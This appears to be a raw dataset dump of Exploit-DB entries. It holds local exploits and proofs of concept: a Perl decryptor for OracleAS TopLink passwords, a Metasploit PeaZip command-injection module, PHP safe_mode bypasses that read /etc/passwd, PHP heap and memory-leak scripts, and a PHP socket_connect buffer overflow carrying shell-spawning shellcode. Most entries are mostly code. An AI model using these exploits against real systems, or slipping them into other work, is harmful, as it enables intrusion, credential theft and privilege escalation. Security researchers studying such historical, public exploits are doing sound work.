deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23611
Description: OracleAS TopLink Mapping Workbench - Weak Encryption Algorithm
Type: local
Platform: multiple
Date: 2004-01-28
Author: Pete Finnigan

Exploit:
source: https://www.securityfocus.com/bid/9515/info

OracleAS TopLink Mapping Workbench is a tool included with OracleAS TopLink, a Java-based database integration development framework that is included as a component of various Oracle Application Server releases.

OracleAS TopLink Mapping Workbench is reported to use a weak encryption algorithm when storing passwords in XML files. A proof-of-concept has been released that demonstrates how passwords are encrypted, by reversing the process described in the proof-of-concept, an attacker with access to XML files generated by the software could decrypt embedded passwords. The encryption scheme uses a simplistic substitution cipher and then appends a static string to the end of the encrypted password.

The discoverer of this issue has not specified which Oracle Application Server releases are affected, though later releases such as 10g include support for the Java Cryptography Extension as well as user-specified custom encryption algorithms. Later releases are also backwards compatible with older encryption schemes, so could still be affected. This BID will be updated if further information is made available about affected releases.

#!/usr/bin/perl
#Decrypt Oracle Toplink Mapping WorkBench passwords.
#Author: Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
	print " Usage: $0 <password to decrypt>\n";
	}

if ($#ARGV != 0) {
	usage();
	}

else {  
	$encrypted = $ARGV[0];
	$encrypted =~ s/$string/ /;
	$chars = length($encrypted);
	$enc2 = substr($encrypted,0,2);	
	$encrypted = substr($encrypted,2,length($encrypted));
	$i = 0;
	while (($chars / 2) >= $i + 1) {
		print $i;
		$int = hex($enc2);
		if (($i%2) == 1) { $result .= chr($int - ( ($i + 1 )/3 ) - 112); }
		else {  $result .= chr($int - 4 + $i); }		
		$enc2 = substr($encrypted,0,length($encrypted) - 1);
        	$encrypted = substr($encrypted,2,length($encrypted));
		$i++;	
		}
	print "$result\n";	
	}
Exploit-DB #21283
Description: OS/400 - User Account Name Disclosure
Type: local
Platform: multiple
Date: 2002-02-07
Author: ken@FTU

Exploit:
source: https://www.securityfocus.com/bid/4059/info

AS/400 is a midrange computer platform developed by IBM. It is designed to be highly reliable and efficient, and uses the OS/400 operating system.

An information disclosure vulnerability has been reported to exist in OS/400 systems. An authenticated user may be able to obtain a list of all valid user accounts. The user must be running a 5250 emulator.

The user may, after authentication, access the 'System Request' menu and obtain a list of all object names of type USRPRF. The 'System Request' feature is installed by default.

This information may be useful in attempting further, intelligent attacks against the vulnerable server.

Sign-on to AS/400
Issue system request (Shift + Esc key)
Hit enter
Choose option 3, display current job
Choose option 13, display library list
Choose option 5 next to library QSYS
Scroll down to view names of all objects of type *USRPRF (user profile)
Exploit-DB #16307
Description: PeaZIP 2.6.1 - Zip Processing Command Injection (Metasploit)
Type: local
Platform: multiple
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: peazip_command_injection.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PeaZip <= 2.6.1 Zip Processing Command Injection',
			'Description'    => %q{
					This module exploits a command injection vulnerability in PeaZip. All
				versions prior to 2.6.2 are suspected vulnerable. Testing was conducted with
				version 2.6.1 on Windows.

				In order for the command to be executed, an attacker must convince someone to
				open a specially crafted zip file with PeaZip, and access the specially file via
				double-clicking it. By doing so, an attacker can execute arbitrary commands
				as the victim user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Nine:Situations:Group::pyrokinesis',
					'jduck'
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2009-2261' ],
					[ 'OSVDB', '54966' ],
					[ 'URL', 'http://peazip.sourceforge.net/' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/8881' ]
				],
			'Platform'       => ['unix', 'win', 'linux'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					['Automatic', { }],
				],
			'DisclosureDate' => 'Jun 05 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.', 'msf.zip']),
			], self.class)
	end


	def exploit

		# NOTE: using a command line containing / or \ will result in the command
		# being easily visible to the victim
		cmd = datastore['CMD']

		fname = "README.TXT"
		rest = "\"|#{cmd}|.txt"
		fname << " " * (255 - fname.length - rest.length)
		fname << rest

		content = rand_text_alphanumeric(rand(1024))

		zip = Rex::Zip::Archive.new
		zip.add_file(fname, content)

		# Create the file
		print_status("Creating '#{datastore['FILENAME']}' file...")

		file_create(zip.pack)
	end

end
Exploit-DB #22272
Description: Perl2Exe 1.0 9/5.0 2/6.0 - Code Obfuscation
Type: local
Platform: multiple
Date: 2002-02-22
Author: Simon Cozens

Exploit:
source: https://www.securityfocus.com/bid/6909/info

Perl2Exe obfuscates Perl source code using a reversible algorithm when converting it to an executable format. This occurs when the "encrypt" option is selected. Those who use Perl2Exe with the expectation that the source code will be concealed from the end user may have a false sense of security as a result. 

#!/usr/bin/perl

$known_plain = `cat sample.pl`;
$known_cipher_file = "sample";
$sizeline = `tail -c +811048 $known_cipher_file | strings | grep
NAME=_main.pl`;
@line = split /;/, $sizeline;
@size = split /\=/, $line[1];
$known_cipher = `tail -c +811048 $known_cipher_file | head -c $size[1]`;
$key = $known_cipher ^ $known_plain;

$unknown_cipher = `tail -c +811048 perl2exe | head -c $size[1]`;

$unknown_plain = $unknown_cipher ^ $key;
print $unknown_plain, "\n";
Exploit-DB #7503
Description: PHP 'python' Extension - 'safe_mode' Local Bypass
Type: local
Platform: multiple
Date: 2008-12-17
Author: Amir Salmani

Exploit:
<?php
/*
  php_python_bypass.php
  php python extension safe_mode bypass
  Amir Salmani - amir[at]salmani[dot]ir
*/

//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");

//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');

//show result
echo $res;
?>

# milw0rm.com [2008-12-17]
Exploit-DB #8641
Description: PHP - 'mb_ereg(i)_replace()' Evaluate Replacement String
Type: local
Platform: multiple
Date: 2009-05-07
Author: 80vul

Exploit:
mb_ereg(i)_replace() evaluate replacement string vulnerability
 
by ryat#www.80vul.com

when option parameter set e, matchs not be escaped.

ex:

<?php

function hi80vul() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', 'hi80vul(\'\1\')', $str, 'e');

?>

phpinfo() will be evaluated.

mb_ereg_replace()

    if ((replace_len - i) >= 2 && fwd == 1 &&
     p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
     n = p[1] - '0';
    }
    if (n >= 0 && n < regs->num_regs) {
     if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
      smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
// matchs not be escaped
     }
     
preg_replace()

  if ('\\' == *walk || '$' == *walk) {
   smart_str_appendl(&code, segment, walk - segment);
   if (walk_last == '\\') {
    code.c[code.len-1] = *walk++;
    segment = walk;
    walk_last = 0;
    continue;
   }
   segment = walk;
   if (preg_get_backref(&walk, &backref)) {
    if (backref < count) {
     /* Find the corresponding string match and substitute it
        in instead of the backref */
     match = subject + offsets[backref<<1];
     match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
     if (match_len) {
      esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
// matchs escaped by addslashes()
...
    smart_str_appendl(&code, esc_match, esc_match_len);

# milw0rm.com [2009-05-07]
Exploit-DB #3442
Description: PHP 4.4.6 - 'cpdf_open()' Local Source Code Disclosure
Type: local
Platform: multiple
Date: 2007-03-09
Author: rgod

Exploit:
<?php
   /*
   PHP 4.4.6 cpdf_open() source code disclosure poc
   by rgod
   site: http://retrogod.altervista.org

   to be launched from the cli

   this will show as output something like this:

   ClibPDF: Cannot open [A * 11111]$my_password_is="suntzu";[newline]
   $my_password_is="suntzu";[etc...] for PDF output
   X-Powered-By: PHP/4.4.6
   Content-type: text/html

   I don't see some echo, and you? :)
   */

   if (!extension_loaded("cpdf")){
       die("you need the cpdf extension loaded.");
   }
   $____buff=str_repeat('A',1111);

   $p=cpdf_open(1,$____buff);

   //some code with some information
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";
   $my_password_is="suntzu";

?>

# milw0rm.com [2007-03-09]
Exploit-DB #4392
Description: PHP 4.4.7/5.2.3 - MySQL/MySQLi 'Safe_Mode' Bypass
Type: local
Platform: multiple
Date: 2007-09-10
Author: Mattias Bengtsson

Exploit:
Affected Products:
<= PHP 5.2.3
<= PHP 4.4.7

Authors:
Mattias Bengtsson <mattias@secweb.se>
Philip Olausson <po@secweb.se>

Reported:
2007-06-05

Released:
2007-08-30

CVE:
CVE-2007-3997

Issue:

A vulnerability exists in PHP's MySQL and MySQLi extenstions which can be used to bypass PHP's safe_mode security restriction.

Description:

PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.

Details:

By using MySQLs LOCAL INFILE we could bypass PHP's safe_mode security restriction. An important thing here is that we can't rely on the shared hosts MySQLds local-infile=0 option. This because of it being a server option, so it will not have any effect on the client. To disable this option for MySQL we need to compile libmysqlclient with --disable-local-infile, or remove the CLIENT_LOCAL_FILES flag while connecting. PHP does this when open_basedir are in effect but lacks a check for safe_mode.

For MySQLi compiling with --disable-local-infile won't help because we could just reenable it with mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);

Proof Of Concepts:

MySQL: 

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
    print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
      print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

Impact:

This issue could have major impact on shared hosting systems.

Solution:

Upgrade PHP to 5.2.4 or 4.4.8

# milw0rm.com [2007-09-10]
Exploit-DB #3424
Description: PHP 5.2.1 - 'substr_compare()' Information Leak
Type: local
Platform: multiple
Date: 2007-03-07
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 5 - substr_compare Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $sizeofHashtable = 39;
  $maxlong = 0x7fffffff;
  if (is_int($maxlong+1)) {
    $sizeofHashtable = 67;
    $maxlong = 0x7fffffffffffffff;
  }

  $memdump = str_repeat("A", 4096);
  for ($i=0; $i<40; $i++) $d[] = array();
  unset($d[20]);
  $x = str_repeat("A", $sizeofHashtable);
  
  // If the libc memcmp leaks the information use it
  // otherwise we only get a case insensitive memdump
  $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

  for ($i=0; $i<4096; $i++) {
    $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
    $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
    if ($y-$Y == 1 || $Y-$y==1){
      $y = chr($y);
      if ($b && strtoupper($y)!=$y) {
        if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
          $y = strtoupper($y);
        }
      }
      $memdump[$i] = $y;
    } else {
      $memdump[$i] = chr(0);
    }
  }
  
  echo "memdump\n---------\n\n";
  
  for ($b=0; $b<strlen($memdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      printf ("%02x ", ord($memdump[$b+$i]));
    }
    for ($i=0; $i<16; $i++) {
      $c = ord($memdump[$b+$i]);
      if ($c >= 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }

?>

# milw0rm.com [2007-03-07]
Exploit-DB #3559
Description: PHP 5.2.1 - 'Unserialize()' Local Information Leak
Type: local
Platform: multiple
Date: 2007-03-23
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP 5.2.1 unserialize() Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");
  
  
  
  
  $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
  $arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);

  $heapdump = unserialize($str);
  
  
  
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-23]
Exploit-DB #7171
Description: PHP 5.2.6 - 'error_log' Safe_mode Bypass
Type: local
Platform: multiple
Date: 2008-11-20
Author: SecurityReason

Exploit:
[ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 20.11.2008

SecurityReason Research
SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl 
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web 
developers to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as modify the way the errors can 
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.iniÂ­:
safe_mode = On

and declaring via php_admin_flag

<Directory "/www">
...
	php_admin_flag safe_mode On
</Directory>

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On 

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

Note:
Do not use safe_mode as a main safety.

 --- 3. Greets ---
sp3x Infospec schain p_e_a pi3

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

# milw0rm.com [2008-11-20]
Exploit-DB #17318
Description: PHP 5.3.5 - 'socket_connect()' Local Buffer Overflow
Type: local
Platform: multiple
Date: 2011-05-25
Author: Marek Kroemeke

Exploit:
<?php
// Credit: Mateusz Kocielski, Marek Kroemeke and Filip Palian 
// Affected Versions: 5.3.3-5.3.6 

echo "[+] CVE-2011-1938";
echo "[+] there we go...\n";
define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3");
define('EVIL_SPACE_SIZE', 1024*1024*8);
$SHELLCODE = 
        "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0".
        "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1".
        "\xcd\x80";
echo "[+] creating the sled.\n";

$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
        $i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}

$b = str_repeat("A", 196).EVIL_SPACE_ADDR;
$var79 = socket_create(AF_UNIX, SOCK_STREAM, 1);
echo "[+] popping shell, have fun (if you picked the right address...)\n";
$var85 = socket_connect($var79,$b);
?>
Exploit-DB #3413
Description: PHP < 4.4.5/5.2.1 - PHP_binary Session Deserialization Information Leak
Type: local
Platform: multiple
Date: 2007-03-04
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP php_binary Session Deserialization Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  ini_set("session.serialize_handler", "php_binary");
  
  session_start();
  $x = chr(36).str_repeat("A", 36)."N;".chr(127);
  $data = $x;
  
  session_decode($data);    

  $keys = array_keys($_SESSION);
  $heapdump = $keys[1];
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-04]